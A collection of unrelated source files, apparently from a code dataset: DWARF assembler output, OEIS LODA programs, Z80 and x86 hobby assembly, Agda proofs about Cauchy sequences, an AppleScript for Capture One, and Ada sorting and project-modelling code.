.long 0xa1
.value 0x4
.long .Ldebug_abbrev0
.byte 0x8
.uleb128 0x1
.long .LASF2
.byte 0x4
.long .LASF3
.quad .Ltext0
.quad .Letext0-.Ltext0
.long .Ldebug_line0
.uleb128 0x2
.long .LASF4
.byte 0x1
.byte 0x1
.long .LASF5
.long 0x97
.quad .LFB0
.quad .LFE0-.LFB0
.uleb128 0x1
.byte 0x9c
.long 0x97
.uleb128 0x3
.long .LASF0
.byte 0x1
.byte 0x1
.long 0x9e
.uleb128 0x2
.byte 0x91
.sleb128 -40
.uleb128 0x3
.long .LASF1
.byte 0x1
.byte 0x1
.long 0x97
.uleb128 0x2
.byte 0x91
.sleb128 -44
.uleb128 0x4
.string "sum"
.byte 0x1
.byte 0x2
.long 0x97
.uleb128 0x2
.byte 0x91
.sleb128 -24
.uleb128 0x5
.quad .LBB2
.quad .LBE2-.LBB2
.uleb128 0x4
.string "i"
.byte 0x1
.byte 0x3
.long 0x97
.uleb128 0x2
.byte 0x91
.sleb128 -20
.byte 0
.byte 0
.uleb128 0x6
.byte 0x4
.byte 0x5
.string "int"
.uleb128 0x7
.byte 0x8
.long 0x97
.byte 0
.section .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
.uleb128 0x1
.uleb128 0x11
.byte 0x1
.uleb128 0x25
.uleb128 0xe
.uleb128 0x13
.uleb128 0xb
.uleb128 0x3
.uleb128 0xe
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x7
.uleb128 0x10
.uleb128 0x17
.byte 0
.byte 0
.uleb128 0x2
.uleb128 0x2e
.byte 0x1
.uleb128 0x3f
.uleb128 0x19
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x6e
.uleb128 0xe
.uleb128 0x49
.uleb128 0x13
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x7
.uleb128 0x40
.uleb128 0x18
.uleb128 0x2117
.uleb128 0x19
.uleb128 0x1
.uleb128 0x13
.byte 0
.byte 0
.uleb128 0x3
.uleb128 0x5
.byte 0
.uleb128 0x3
.uleb128 0xe
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2
.uleb128 0x18
.byte 0
.byte 0
.uleb128 0x4
.uleb128 0x34
.byte 0
.uleb128 0x3
.uleb128 0x8
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x2
.uleb128 0x18
.byte 0
.byte 0
.uleb128 0x5
.uleb128 0xb
.byte 0x1
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x7
.byte 0
.byte 0
.uleb128 0x6
.uleb128 0x24
.byte 0
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3e
.uleb128 0xb
.uleb128 0x3
.uleb128 0x8
.byte 0
.byte 0
.uleb128 0x7
.uleb128 0xf
.byte 0
.uleb128 0xb
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.byte 0
.byte 0
.byte 0
.section .debug_aranges,"",@progbits
.long 0x2c
.value 0x2
.long .Ldebug_info0
.byte 0x8
.byte 0
.value 0
.value 0
.quad .Ltext0
.quad .Letext0-.Ltext0
.quad 0
.quad 0
.section .debug_line,"",@progbits
.Ldebug_line0:
.section .debug_str,"MS",@progbits,1
.LASF4:
.string "testFunction"
.LASF3:
.string "/tmp/example.cpp"
.LASF0:
.string "input"
.LASF1:
.string "length"
.LASF5:
.string "_Z12testFunctionPii"
.LASF2:
.string "GNU C++14 6.2.0 20161005 -mtune=generic -march=x86-64 -g -fstack-protector-strong"
.ident "GCC: (Ubuntu 6.2.0-5ubuntu12) 6.2.0 20161005"
.section .note.GNU-stack,"",@progbits
|
programs/oeis/134/A134824.asm
|
karttu/loda
| 1 |
169558
|
<gh_stars>1-10
; A134824: Generated by reverse of Schroeder II o.g.f.
; 0,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
pow $0,4
mov $1,2
sub $1,$0
div $0,$1
mov $1,$0
|
libsrc/games/sam/beeper.asm
|
meesokim/z88dk
| 0 |
242732
|
<filename>libsrc/games/sam/beeper.asm<gh_stars>0
; $Id: beeper.asm,v 1.3 2015/01/19 01:32:45 pauloscustodio Exp $
;
; SAM Coupe 1 bit sound functions
;
; <NAME> - 28/9/2001
;
PUBLIC beeper
EXTERN bit_open_di
EXTERN bit_close_ei
.beeper
call bit_open_di
call $016F
di
call bit_close_ei
ret
|
oeis/004/A004991.asm
|
neoneye/loda-programs
| 11 |
104166
|
<reponame>neoneye/loda-programs
; A004991: a(n) = (3^n/n!) * Product_{k=0..n-1} (3*k + 4).
; Submitted by <NAME>
; 1,12,126,1260,12285,117936,1120392,10563696,99034650,924323400,8596207620,79710288840,737320171770,6806032354800,62712726697800,576957085619760,5300793224131545,48642573115560060,445890253559300550,4083416006279910300,37363256457461179245,341606916182502210240,3121045006940133829920,28496497889453395838400,260030543241262237025400,2371478554360311601671648,21616939130130532676776176,196954334296744853277294048,1793691258773926342346785080,16328775597114363944122457280
mov $1,$0
add $0,1
seq $1,34171 ; Related to triple factorial numbers A007559(n+1).
mul $1,$0
mov $0,$1
|
agda-stdlib/src/Data/List/Relation/Pointwise.agda
|
DreamLinuxer/popl21-artifact
| 5 |
3110
|
------------------------------------------------------------------------
-- The Agda standard library
--
-- This module is DEPRECATED. Please use
-- Data.List.Relation.Binary.Pointwise directly.
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.List.Relation.Pointwise where
open import Data.List.Relation.Binary.Pointwise public
{-# WARNING_ON_IMPORT
"Data.List.Relation.Pointwise was deprecated in v1.0.
Use Data.List.Relation.Binary.Pointwise instead."
#-}
|
Fields/CauchyCompletion/Addition.agda
|
Smaug123/agdaproofs
| 4 |
9483
|
<reponame>Smaug123/agdaproofs<gh_stars>1-10
{-# OPTIONS --safe --warning=error --without-K --guardedness #-}
open import Setoids.Setoids
open import Rings.Definition
open import Rings.Orders.Partial.Definition
open import Rings.Orders.Total.Definition
open import Groups.Definition
open import Groups.Lemmas
open import Fields.Fields
open import Sets.EquivalenceRelations
open import Sequences
open import Setoids.Orders.Partial.Definition
open import Setoids.Orders.Total.Definition
open import Functions.Definition
open import LogicalFormulae
open import Numbers.Naturals.Semiring
open import Numbers.Naturals.Order
open import Numbers.Naturals.Order.Lemmas
module Fields.CauchyCompletion.Addition {m n o : _} {A : Set m} {S : Setoid {m} {n} A} {_+_ : A β A β A} {_*_ : A β A β A} {_<_ : Rel {m} {o} A} {pOrder : SetoidPartialOrder S _<_} {R : Ring S _+_ _*_} {pRing : PartiallyOrderedRing R pOrder} (order : TotallyOrderedRing pRing) (F : Field R) where
open Setoid S
open SetoidTotalOrder (TotallyOrderedRing.total order)
open SetoidPartialOrder pOrder
open Equivalence eq
open PartiallyOrderedRing pRing
open Ring R
open Group additiveGroup
open Field F
open import Fields.Lemmas F
open import Fields.CauchyCompletion.Definition order F
open import Rings.Orders.Partial.Lemmas pRing
open import Fields.Orders.Total.Lemmas {F = F} (record { oRing = order })
open import Rings.Orders.Total.AbsoluteValue order
open import Rings.Orders.Total.Lemmas order
open import Rings.Orders.Total.Cauchy order
open import Rings.InitialRing R
private
lemm : (m : β) (a b : Sequence A) β index (apply _+_ a b) m β‘ (index a m) + (index b m)
lemm zero a b = refl
lemm (succ m) a b = lemm m (Sequence.tail a) (Sequence.tail b)
private
additionConverges : (a b : CauchyCompletion) β cauchy (apply _+_ (CauchyCompletion.elts a) (CauchyCompletion.elts b))
additionConverges record { elts = a ; converges = convA } record { elts = b ; converges = convB } Ξ΅ 0<e with halve charNot2 Ξ΅
... | e/2 , e/2Pr with convA e/2 (halvePositive e/2 (<WellDefined (Equivalence.reflexive eq) (Equivalence.symmetric eq e/2Pr) 0<e))
... | Na , prA with convB e/2 (halvePositive e/2 (<WellDefined (Equivalence.reflexive eq) (Equivalence.symmetric eq e/2Pr) 0<e))
... | Nb , prB = (Na +N Nb) , t
where
t : {m n : β} β Na +N Nb <N m β Na +N Nb <N n β abs ((index (apply _+_ a b) m) + inverse (index (apply _+_ a b) n)) < Ξ΅
t {m} {n} <m <n with prA {m} {n} (inequalityShrinkLeft <m) (inequalityShrinkLeft <n)
... | am-an<e/2 with prB {m} {n} (inequalityShrinkRight <m) (inequalityShrinkRight <n)
... | bm-bn<e/2 with triangleInequality (index a m + inverse (index a n)) (index b m + inverse (index b n))
... | inl tri rewrite lemm m a b | lemm n a b = SetoidPartialOrder.<WellDefined pOrder (Equivalence.reflexive eq) e/2Pr (SetoidPartialOrder.<Transitive pOrder {_} {(abs ((index a m) + (inverse (index a n)))) + (abs ((index b m) + (inverse (index b n))))} (<WellDefined (absWellDefined _ _ (Equivalence.transitive eq (Equivalence.symmetric eq (+Associative {index a m})) (Equivalence.transitive eq (+WellDefined (Equivalence.reflexive eq {index a m}) (Equivalence.transitive eq groupIsAbelian (Equivalence.transitive eq (Equivalence.symmetric eq (+Associative {index b m})) (+WellDefined (Equivalence.reflexive eq {index b m}) (Equivalence.symmetric eq (invContravariant additiveGroup)))))) (+Associative {index a m})))) (Equivalence.reflexive eq) tri) (ringAddInequalities am-an<e/2 bm-bn<e/2))
... | inr tri rewrite lemm m a b | lemm n a b = SetoidPartialOrder.<WellDefined pOrder (Equivalence.reflexive eq) e/2Pr (<WellDefined (Equivalence.transitive eq (Equivalence.symmetric eq tri) (absWellDefined _ _ (Equivalence.transitive eq (Equivalence.symmetric eq (+Associative {index a m})) (Equivalence.transitive eq (+WellDefined (Equivalence.reflexive eq {index a m}) (Equivalence.transitive eq groupIsAbelian (Equivalence.transitive eq (Equivalence.symmetric eq (+Associative {index b m})) (+WellDefined (Equivalence.reflexive eq {index b m}) (Equivalence.symmetric eq (invContravariant additiveGroup)))))) (+Associative {index a m}))))) (Equivalence.reflexive eq) (ringAddInequalities am-an<e/2 bm-bn<e/2))
_+C_ : CauchyCompletion β CauchyCompletion β CauchyCompletion
CauchyCompletion.elts (record { elts = a ; converges = convA } +C record { elts = b ; converges = convB }) = apply _+_ a b
CauchyCompletion.converges (a +C b) = additionConverges a b
inverseDistributes : {r s : A} β inverse (r + s) βΌ inverse r + inverse s
inverseDistributes = Equivalence.transitive eq (invContravariant additiveGroup) groupIsAbelian
-C_ : CauchyCompletion β CauchyCompletion
CauchyCompletion.elts (-C a) = map inverse (CauchyCompletion.elts a)
CauchyCompletion.converges (-C record { elts = elts ; converges = converges }) Ξ΅ 0<e with converges Ξ΅ 0<e
CauchyCompletion.converges (-C record { elts = elts ; converges = converges }) Ξ΅ 0<e | N , prN = N , ans
where
ans : {m n : β} β (N <N m) β (N <N n) β abs ((index (map inverse elts) m) + inverse (index (map inverse elts) n)) < Ξ΅
ans {m} {n} N<m N<n = <WellDefined (Equivalence.transitive eq (absWellDefined _ _ (Equivalence.reflexive eq)) (Equivalence.transitive eq (absNegation (index elts m + inverse (index elts n))) (absWellDefined _ _ (Equivalence.transitive eq inverseDistributes (+WellDefined (identityOfIndiscernablesLeft _βΌ_ (Equivalence.reflexive eq) (equalityCommutative (mapAndIndex elts inverse m))) (inverseWellDefined additiveGroup (identityOfIndiscernablesLeft _βΌ_ (Equivalence.reflexive eq) (equalityCommutative (mapAndIndex elts inverse n))))))))) (Equivalence.reflexive eq) (prN N<m N<n)
|
Capture One Scripts/select_next_capture.applescript
|
chis-chipz/CaptureOneScripts
| 17 |
1104
|
<filename>Capture One Scripts/select_next_capture.applescript
(*
Moves the capture directory down the list of favorites
relative to the current capture directory.
Created by <NAME>
*)
tell front document of application "Capture One 12"
set theFolder to captures
set captureCollection to item 1 of (collections whose folder is theFolder and user is true)
--log name of captureCollection as string
--log captureCollection
try
set newCapture to the collection after captureCollection
--log name of newCapture as string
--log newCapture
if file of newCapture is equal to missing value then
log "No file for " & name of newCapture as string
else
log "Setting capture dir to " & name of newCapture
set captures to get the file of newCapture
end if
on error errMsg number errNum
log "End of the list"
end try
end tell
|
programs/oeis/078/A078904.asm
|
karttu/loda
| 1 |
174962
|
<gh_stars>1-10
; A078904: a(n) = 4a(n-1) + 3n with a(0) = 0.
; 0,3,18,81,336,1359,5454,21837,87372,349515,1398090,5592393,22369608,89478471,357913926,1431655749,5726623044,22906492227,91625968962,366503875905,1466015503680,5864062014783,23456248059198,93824992236861
mov $1,4
pow $1,$0
sub $0,$1
mul $0,3
sub $1,$0
div $1,9
mul $1,3
|
sorting_exercise.adb
|
thieryw/sorting_algo
| 0 |
11178
|
with ada.text_io,ada.integer_text_io,ada.numerics.discrete_random ;
use ada.text_io ;
procedure sorting_exercise is
type t_tableau is array(integer range <>) of integer ;
t : t_tableau(1..50) ;
function init_tab return t_tableau is
subtype intervall is integer range 1..100 ;
package aleatoire is new ada.numerics.discrete_random(intervall) ;
hasard : aleatoire.generator ;
tab : t_tableau(1..50) ;
begin
aleatoire.reset(hasard) ;
for i in tab'range loop
tab(i) := aleatoire.random(hasard) ;
end loop ;
return tab ;
end init_tab;
procedure render_tab(t : t_tableau) is
begin
for i in t'range loop
ada.integer_text_io.put(t(i)) ;
new_line ;
end loop ;
end render_tab ;
procedure exchange(a : in out integer ; b : in out integer) is
temp : integer ;
begin
temp := b ;
b := a ;
a := temp ;
end exchange ;
function rang_min(t : t_tableau ; first : integer ; last : integer) return integer is
min : integer := t(first) ;
rank : integer ;
begin
for i in first..last loop
if min > t(i) then
rank := i ;
min := t(i) ;
end if ;
end loop ;
return rank ;
end rang_min ;
function sort(t : t_tableau) return t_tableau is
tab : t_tableau := t ;
begin
for i in tab'range loop
exchange(tab(i),tab(rang_min(tab,i,tab'last))) ;
end loop ;
return tab ;
end sort ;
function insert_sort(t : t_tableau) return t_tableau is
tab : t_tableau := t ;
begin
for i in tab'first+1..tab'last loop
for j in reverse tab'first+1..i loop
exit when tab(j-1) <= tab(j) ;
exchange(tab(j-1),tab(j)) ;
end loop ;
end loop ;
return tab ;
end insert_sort ;
function bubble_sort(t : t_tableau) return t_tableau is
tab : t_tableau := t ;
permut : boolean := true ;
begin
while permut loop
permut := false ;
for i in tab'first..tab'last-1 loop
if tab(i) > tab(i+1) then
exchange(tab(i),tab(i+1)) ;
permut := true ;
end if ;
end loop ;
end loop ;
return tab ;
end bubble_sort ;
function quik_sort(t : t_tableau) return t_tableau is
procedure sort(t : in out t_tableau ; first,last : integer) is
pivot : integer := (first + last) / 2 ;
j : integer := first + 1 ;
begin
if first < last then
exchange(t(first),t(pivot)) ;
pivot := first ;
for i in first + 1..last loop
if t(i) < t(pivot) then
exchange(t(i),t(j)) ;
j := j + 1 ;
end if ;
end loop ;
exchange(t(pivot),t(j - 1)) ;
pivot := j - 1 ;
sort(t,pivot+1,last) ;
sort(t,first,pivot-1) ;
end if ;
end sort ;
tab : t_tableau := t ;
begin
sort(tab,tab'first,tab'last) ;
return tab ;
end quik_sort ;
function fusion(t1,t2 : t_tableau) return t_tableau is
t : t_tableau(1..t1'length+t2'length) ;
i : integer := t1'first ;
j : integer := t2'first ;
begin
if t1'length = 0 then
return t2 ;
elsif t2'length = 0 then
return t1 ;
end if ;
for k in t'range loop
if i > t1'last and j > t2'last then
exit ;
elsif i > t1'last then
t(k..t'last) := t2(j..t2'last) ;
exit ;
elsif j > t2'last then
t(k..t'last) := t1(i..t1'last) ;
exit ;
end if ;
if t1(i) <= t2(j) then
t(k) := t1(i) ;
i := i + 1 ;
else
t(k) := t2(j) ;
j := j + 1 ;
end if ;
end loop ;
return t ;
end fusion ;
function tri_fusion(t : t_tableau) return t_tableau is
lg : constant integer := t'length ;
begin
if lg <= 1 then
return t ;
else
declare
t1 : t_tableau(t'first..t'first-1+lg/2) ;
t2 : t_tableau(t'first+lg/2..t'last) ;
begin
t1 := tri_fusion(t(t'first..t'first-1+lg/2)) ;
t2 := tri_fusion(t(t'first+ lg/2..t'last)) ;
return fusion(t1,t2) ;
end ;
end if ;
end tri_fusion ;
procedure tamiser(t : in out t_tableau ; noeud : integer ; max : integer) is
racine : integer := noeud ;
feuille : integer := noeud * 2 ;
begin
while feuille <= max loop
if feuille+1 < max and then t(feuille) < t(feuille+1) then
feuille := feuille + 1 ;
end if ;
if t(racine) < t(feuille) then
exchange(t(racine),t(feuille)) ;
end if ;
racine := feuille ;
feuille:= 2 * racine ;
end loop ;
end tamiser ;
function tri_arbre(t : t_tableau) return t_tableau is
arbre : t_tableau(1..t'length) := t ;
begin
for i in reverse arbre'first..arbre'last/2 loop
tamiser(arbre,i,arbre'last) ;
end loop ;
for i in reverse arbre'first+1..arbre'last loop
exchange(arbre(arbre'first),arbre(i)) ;
tamiser(arbre,arbre'first,i-1) ;
end loop ;
return arbre ;
end tri_arbre ;
begin
t := init_tab ;
render_tab(t) ;
t := tri_arbre(t) ;
put_line("tableau ranger") ;
render_tab(t) ;
end sorting_exercise ;
|
src/Projects/eu_projects-nodes.ads
|
fintatarta/eugen
| 0 |
25757
|
<reponame>fintatarta/eugen<gh_stars>0
with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with Ada.Strings.Fixed;
with Ada.Finalization;
with Ada.Containers.Indefinite_Ordered_Maps;
with Ada.Containers.Vectors;
with EU_Projects.Times.Time_Expressions.Parsing;
-- Most of the entities in a project (WPs, tasks, deliverables, ...) share
-- many characteristics such as a name, a label (an ID, in XML jargon),
-- a short name, ... Moreover, there are some entities such as WPs and
-- tasks that have bengin/end dates while others (deliverables and milestones)
-- have just an "expected" date.
--
-- It is worth to "factorize" all these properties in a hierachy of classes.
-- More precisely we will have
--
-- * Basic nodes that have
-- - a name
-- - a short name
-- - a label
-- - an index
-- - a description
-- * Action nodes that are basic nodes with begin/end dates
-- * Timed nodes that are basic nodes with an "expected on" date
--
--
-- About names: the name of a node has possibly three parts
--
-- * A prefix that specify the type of node (T, D, ...)
-- * An index that can be simple (e.g., 4) or composite (e.g., 4.3)
-- * A title. Should we allow long+short?
--
-- A node can also have some "free attributes." This can be useful in some
-- context where I want to store some information about WP, task, ...
-- that was not forecasted.
--
package EU_Projects.Nodes is
type Node_Label is new Dotted_Identifier;
package Node_Label_Lists is
new Ada.Containers.Vectors (Positive, Node_Label);
function Parse_Label_List (Input : String) return Node_Label_Lists.Vector;
function Join (List : Node_Label_Lists.Vector;
Separator : String)
return String;
function After (Labels : Node_Label_Lists.Vector;
Done_Var : String) return String;
type Node_Class is (Info_Node, WP_Node, Task_Node, Deliverable_Node, Milestone_Node, Risk_Node, Partner_Node);
type Node_Index is new Positive;
subtype Extended_Node_Index is
Node_Index'Base range Node_Index'First - 1 .. Node_Index'Last;
No_Index : constant Extended_Node_Index := Extended_Node_Index'First;
function Image (X : Node_Index) return String
is (Chop (Node_Index'Image (X)));
-- Many nodes have an "add" function that allow to add new
-- children to a node (e.g. tasks to a WP). Every node has an
-- index. The most natural place where to add the index is
-- inside the parent, since the parent knows the number of
-- its children. However, it is possible that in some cases
-- one could want to set indixes in a non-incremental way.
-- Therefore, if the index has already been set, it must not be
-- changed.
--
-- The following function can be used in the postcondition
-- of an "add" function.
function Correctly_Updated (Old_Index, New_Index : Extended_Node_Index;
Old_Max, New_Max : Extended_Node_Index)
return Boolean
is (
(
(Old_Index = No_Index and New_Index /= No_Index)
or (Old_Index = New_Index)
)
and (
(Old_Index /= No_Index)
or (New_Index = Old_Max + 1)
)
and (New_Max = Node_Index'Max (Old_Max, New_Index))
);
type Node_Type (<>) is abstract new Ada.Finalization.Controlled with private;
type Node_Access is access all Node_Type'Class;
-- function Create (Label : Identifiers.Identifier;
-- Name : String;
-- Short_Name : String;
-- Description : String;
-- Index : Node_Index := No_Index)
-- return Node_Type;
function Index (Item : Node_Type) return Extended_Node_Index;
function Index_Image (Item : Node_Type) return String;
function Full_Index (Item : Node_Type;
Prefixed : Boolean) return String
is abstract;
-- procedure Set_Index (Item : in out Node_Type;
-- Idx : Node_Index)
-- with
-- Pre => Item.Index = No_Index;
procedure Add_Attribute (Item : in out Node_Type;
Name : in String;
Value : in String);
function Name (Item : Node_Type)
return String;
function Short_Name (Item : Node_Type)
return String;
function Label (Item : Node_Type)
return Node_Label;
function Description (Item : Node_Type) return String;
function Attribute_Exists (Item : Node_Type;
Name : String)
return Boolean;
function Get_Attribute (Item : Node_Type;
Name : String)
return String;
function Get_Attribute (Item : Node_Type;
Name : String;
Default : String)
return String;
Bad_Parent : exception;
function Class (Item : Node_Type) return Node_Class;
type Variable_List is array (Positive range<>) of Simple_Identifier;
Empty_List : constant Variable_List (2 .. 1) := (others => <>);
function Variables (Item : Node_Type) return Variable_List
is (Empty_List);
-- Every node has a number of internal variables. For example, a WP
-- has a starting time, and ending time and a duration (never mind that
-- they are not independent, they are three different variables for
-- what matters here). This function returns a list of the internal
-- variables. Note that they are Simple_Identifiers, therefore they
-- have no '.'
--
-- For example, a WP would return "begin", "end", "duration".
procedure Parse_Raw_Expressions
(Item : in out Node_Type;
Vars : Times.Time_Expressions.Parsing.Symbol_Table)
is null;
-- While parsing the nodes are initialized with time expressions in
-- string form and we need to parse them before we try to solve
-- the corresponding system of equations.
--
-- We need to do this in two separate steps since some "forward reference"
-- can be needed. For example, the ending time of a WP can have the special
-- value "end" that means when the last task ot the WP ends. In order to
-- handle this the WP needs to know all its tasks.
function Dependency_List (Item : Node_Type)
return Node_Label_Lists.Vector
is abstract;
--
-- A start time/due time has as default value the maximum of the end
-- times of all the "dependencies." This function returns the list
-- of the labels of all dependencies.
--
pragma Warnings (Off);
function Is_Variable (Item : Node_Type;
Var : Simple_Identifier) return Boolean
is (False);
-- Return if Var is a variable known to the node. Useful in contracts
function Is_A (Item : Node_Type;
Var : Simple_Identifier;
Class : Times.Time_Type)
return Boolean
is (False);
-- Return True if Var is a variable known to the node AND it contains
-- value of the specified type.
function Is_Fixed (Item : Node_Type;
Var : Simple_Identifier)
return Boolean
with Pre'Class => Is_Variable (Item, Var);
pragma Warnings (On);
function Get_Symbolic_Instant (Item : Node_Type;
Var : Simple_Identifier)
return Times.Time_Expressions.Symbolic_Instant
is abstract;
function Get_Symbolic_Duration (Item : Node_Type;
Var : Simple_Identifier)
return Times.Time_Expressions.Symbolic_Duration
is abstract;
procedure Fix_Instant
(Item : in out Node_Type;
Var : Simple_Identifier;
Value : Times.Instant)
with
Pre'Class => Item.Is_A (Var, Times.Instant_Value) and then not Item.Is_Fixed (Var),
Post'Class => Item.Is_Fixed (Var);
-- procedure Fix_Duration
-- (Item : in out Node_Type;
-- Var : Simple_Identifier;
-- Value : Times.Duration)
-- with
-- Pre'Class => Item.Is_A (Var, Times.Duration_Value) and then not Item.Is_Fixed (Var),
-- Post'Class => Item.Is_Fixed (Var);
Unknown_Var : exception;
Unknown_Instant_Var : exception;
Unknown_Duration_Var : exception;
-- --
-- -- There is the necessity of writing pre/post conditions that
-- -- check that a Node_Access points to a WP, Task, ... Because of
-- -- mutual dependences (e.g., a WP has a list of tasks and every
-- -- task has a "Parent" field pointing back to the WP), it is
-- -- not easy to use the facilities of Ada.Tags sinche it would
-- -- introduce circular dependencies. By using function Is_A defined
-- -- here I can break those dependencies.
-- --
-- type Node_Class is (A_WP, A_Task, A_Deliverable, A_Milestone, A_Partner);
-- function Is_A (Item : Node_Type'Class;
-- Class : Node_Class)
-- return Boolean;
private
function Shortify (Short_Name, Name : String) return Unbounded_String
is (
(if Short_Name = "" then
To_Unbounded_String (Name)
else
To_Unbounded_String (Short_Name)
)
);
package Attribute_Maps is
new Ada.Containers.Indefinite_Ordered_Maps (Key_Type => String,
Element_Type => String);
type Node_Type is abstract
new Ada.Finalization.Controlled
with
record
Class : Node_Class;
Label : Node_Label;
Name : Unbounded_String;
Short_Name : Unbounded_String;
Index : Extended_Node_Index := No_Index;
Description : Unbounded_String;
Attributes : Attribute_Maps.Map;
-- Parent : Node_Access;
end record;
function Trim (X : String) return String
is (Ada.Strings.Fixed.Trim (X, Ada.Strings.Both));
function Index_Image (Item : Node_Type) return String
is (Trim (Extended_Node_Index'Image (Item.Index)));
function Index (Item : Node_Type) return Extended_Node_Index
is (Item.Index);
function Class (Item : Node_Type) return Node_Class
is (Item.Class);
-- function Full_Index (Item : Node_Type) return String
-- is (
-- if Item.Parent = null then
-- Trim (Node_Index'Image (Item.Index))
-- else
-- Trim (Node_Index'Image (Item.Parent.Index))
-- & "."
-- & Trim (Node_Index'Image (Item.Index))
-- );
-- function Index (Item : Node_Type) return String
-- is (Trim (Node_Index'Image (Item.Index)));
function Name (Item : Node_Type) return String
is (To_String (Item.Name));
function Short_Name (Item : Node_Type) return String
is (To_String (Item.Short_Name));
function Label (Item : Node_Type) return Node_Label
is (Item.Label);
function Description (Item : Node_Type) return String
is (To_String (Item.Description));
function Attribute_Exists (Item : Node_Type;
Name : String)
return Boolean
is (Item.Attributes.Contains (Name));
function Get_Attribute (Item : Node_Type;
Name : String)
return String
is (Item.Attributes.Element (Name));
function Get_Attribute (Item : Node_Type;
Name : String;
Default : String)
return String
is (
if Item.Attribute_Exists (Name) then
Item.Attributes.Element (Name)
else
Default
);
-- Convenience function: this action is quite common in many
-- node instances and we "factor" it here
function Make_Short_Name (Short_Name : String;
Default : String)
return Unbounded_String
is (
if Short_Name = "" then
To_Unbounded_String (Default)
else
To_Unbounded_String (Short_Name)
);
end EU_Projects.Nodes;
|
oeis/017/A017999.asm
|
neoneye/loda-programs
| 11 |
20544
|
<filename>oeis/017/A017999.asm
; A017999: Expansion of 1/((1-3x)(1-7x)(1-10x)).
; Submitted by <NAME>
; 1,20,279,3370,37841,407640,4281739,44256950,452652981,4597133860,46465625999,468116448930,4705386343321,47223418005680,473421066847059,4742518890351310,47483346499724861,475240568299871100,4755255406504488919,47572502130747596090,475864657770881693601,4759624032963117418120,47603082516442658615579,476078720472201120375270,4761122471876715372825541,47613571588850930200374740,476152143979098279174411039,4761636436425113257536240850,47617169340690068712699776681,476177328241973308718736708960
add $0,2
lpb $0
sub $0,1
div $1,2
max $2,26
mul $2,3
mul $3,10
add $3,$1
mul $1,14
add $1,$2
lpe
mov $0,$3
div $0,39
|
Scrolls/sys.asm
|
TerminalCursor/LogOS
| 0 |
161023
|
<gh_stars>0
; Shutdown definition
shutdown:
mov dx, 0x604 ; Write to 0x604
mov ax, 0x2000 ; Write 0x2000
out dx, ax ; Send shutdown
ret ; Return if shutdown failed
; Clear screen definition
clear_screen:
pusha
mov edx, VIDEO_MEMORY ; Get the start address of the video memory buffer
mov al, 0x20 ; Space character
mov ah, WHITE_ON_BLACK ; Color attribute
mov bx, 0 ; Counter
_screen_clear_loop:
mov [edx], ax ; Move the character + attribute to video memory
add edx, 2 ; Go to next character
inc bx ; Increase counter
cmp bx, VIDEO_MEMORY_MAX ; Check if we have written to entire buffer
jl _screen_clear_loop ; If not, loop
popa
ret
wait_b:
_wait_loop:
sub ebx, 1
jnz _wait_loop
ret
|
sugar.asm
|
raphnet/rc201804
| 0 |
94638
|
%ifndef _sugar_asm
%define _sugar_asm
section .text
%macro shift_div_8 1
; On later CPUs, this could be replaced by shr %1, 3
shr %1, 1
shr %1, 1
shr %1, 1
%endmacro
%macro shift_div_16 1
; On later CPUs, this could be replaced by shr %1, 4
shr %1, 1
shr %1, 1
shr %1, 1
shr %1, 1
%endmacro
%macro shift_div_32 1
; On later CPUs, this could be replaced by shr %1, 5
shr %1, 1
shr %1, 1
shr %1, 1
shr %1, 1
shr %1, 1
%endmacro
%macro shift_mul_16 1
; On later CPUs, this could be replaced by shl %1, 4
shl %1, 1
shl %1, 1
shl %1, 1
shl %1, 1
%endmacro
%macro shift_mul_32 1
; On later CPUs, this could be replaced by shr %1, 5
shl %1, 1
shl %1, 1
shl %1, 1
shl %1, 1
shl %1, 1
%endmacro
; Perform an indirect call if the destination is not null
;
; call_if_not_null [address]
;
%macro call_if_not_null 1
test word %1, 0xffff
jz %%nocall
call %1
%%nocall:
%endmacro
; Jump if a memory byte equals an immediate value
;
; jump_if_membyte_equals [address] compare_value label
;
%macro jmp_mbyte_equals 3
cmp byte %1, %2
je %3
%endmacro
; Jump if a memory byte does not equal an immediate value
;
; jump_if_membyte_equals [address] compare_value label
;
%macro jmp_mbyte_not_equal 3
cmp byte %1, %2
jne %3
%endmacro
; Jump if a memory byte differs from an immediate value
;
; jump_if_mbyte_neq [address] compare_value label
;
%macro jmp_mbyte_neq 3
cmp byte %1, %2
jne %3
%endmacro
; Jump if a memory byte is zero
;
; jmp_mbyte_zero [address] dst_label
;
%macro jmp_mbyte_z 2
test byte %1, 0xff
jz %2
%endmacro
%define jmp_mbyte_false jmp_mbyte_z
; Jump if a memory byte is non-zero
;
; jmp_mbyte_nz [address] dst_label
;
%macro jmp_mbyte_nz 2
test byte %1, 0xff
jnz %2
%endmacro
%define jmp_mbyte_true jmp_mbyte_nz
;;; Move a memory word (memory to memory) using AX as temporary storage
;
; mov_mword_through_ax [dest], [src]
%macro mov_mword_through_ax 2
mov ax, %2
mov %1, ax
%endmacro
;;; Move a memory byte (memory to memory) using AL as temporary storage
;
; mov_mbyte_through_al [dest], [src]
%macro mov_mbyte_through_al 2
mov al, %2
mov %1, al
%endmacro
%endif
|
libsrc/_DEVELOPMENT/arch/ts2068/display/z80/asm_tshc_aaddr2saddr.asm
|
jpoikela/z88dk
| 640 |
